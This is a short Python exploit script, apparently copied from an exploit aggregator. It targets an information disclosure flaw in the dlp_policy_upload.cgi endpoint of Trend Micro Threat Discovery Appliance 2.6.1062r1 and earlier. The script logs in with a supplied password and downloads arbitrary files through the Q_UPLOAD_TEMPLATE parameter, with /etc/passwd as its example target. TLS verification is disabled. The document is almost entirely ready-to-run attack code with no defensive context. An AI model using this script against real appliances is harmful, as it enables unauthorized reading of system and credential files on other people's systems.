Exploit for Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure Vulnerability

## https://sploitus.com/exploit?id=SSV:92979
import re
import sys
import requests

requests.packages.urllib3.disable_warnings()

def remove_last_line_from_string(s):
    return s[:s.rfind('\r\n')]

def download_file():
    r = s.get("https://%s/cgi-bin/dlp_policy_upload.cgi?Q_UPLOAD_ID=1&Q_UPLOAD_TEMPLATE=%s" % (t, f), verify=False)
    data = r.text
    if len(data) > 52:
        fdata = str(data).split("\n")
        fdata.pop()
        fdata.pop()
        print '\n'.join(fdata)
    else:
        print "(-) file: %s doesnt exist!" % f

if len(sys.argv) != 4:
    print "(+) usage: %s <target> <pass> <file>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin /etc/passwd" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]
f = sys.argv[3]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu

s = requests.Session()

r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."
    print "(+) downloading file..."
    download_file()